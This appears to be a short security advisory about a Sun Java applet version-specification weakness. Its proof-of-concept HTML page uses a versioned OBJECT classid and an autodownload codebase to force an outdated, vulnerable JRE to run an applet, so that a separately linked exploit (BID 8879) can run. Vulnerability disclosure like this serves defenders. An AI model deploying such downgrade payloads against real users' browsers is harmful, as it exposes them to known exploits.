Sun Java Applet Invocation Version Specification Weakness

Sun Java Applet Invocation Version Specification Weakness

An exploit is not required.

The following example was provided:

<html>
<title> Java Version Downgrade proof-of-concept </title>
<body>
Demonstration uses the following vulnerability:
 
http://www.securityfocus.com/bid/8879
 
Source code for Simple.class:
 
http://www.securityfocus.com/bid/8879/exploit/

Added this code to Simple.java for debugging purposes:
 
String javaVersion = System.getProperty("java.version");
 
addItem("Java version: " + javaVersion);

This proof-of-concept was tested on a Windows system using IE with
the following Java installations:
 
Sun JRE 1.3.1_07 (vulnerable to BID 8879)
 
Sun JRE 1.3.1_13 (not vulnerable to BID 8879)
 
note: invoking applet normally should run Simple.class in JRE
1.3.1_13.

<OBJECT classid="clsid:CAFEEFAC-0013-0001-0007-ABCDEFFEDCBA"
width = "600" height = "100"
codebase="http://java.sun.com/products/plugin/autodl/jinstall-1_3_1_07-windows-i586.cab##Version=1_3_1_07">
<PARAM NAME="code" VALUE="Simple.class">
</OBJECT>
</body>
</html>